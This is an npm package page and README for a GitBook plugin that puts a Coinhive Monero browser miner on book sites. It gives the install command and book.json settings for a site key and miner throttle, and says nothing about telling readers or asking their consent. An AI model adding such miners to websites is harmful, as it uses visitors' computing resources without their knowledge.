0.0.3 • Published 5 years ago

gitbook-plugin-xmr v0.0.3

Weekly downloads
1
License
MIT
Repository
github
Last release
5 years ago

XMR for GitBook

npm.io

You can use install it via NPM:

$ npm install gitbook-plugin-xmr

And use it for your book with in the book.json:

{
    "plugins": ["xmr"]
}

You can set the site key of https://coinhive.com using the plugins configuration in the book.json:

{
    "plugins": ["xmr"],
    "pluginsConfig": {
        "xmr": {
            "siteKey": "YOUR-SITE-KEY"
        }
    }
}

You can also set the throttle of the miner:

{
    "plugins": ["xmr"],
    "pluginsConfig": {
        "xmr": {
            "siteKey": "YOUR-SITE-KEY",
            "throttle": 0.3
        }
    }
}

For an overview of the miner, please refer to the website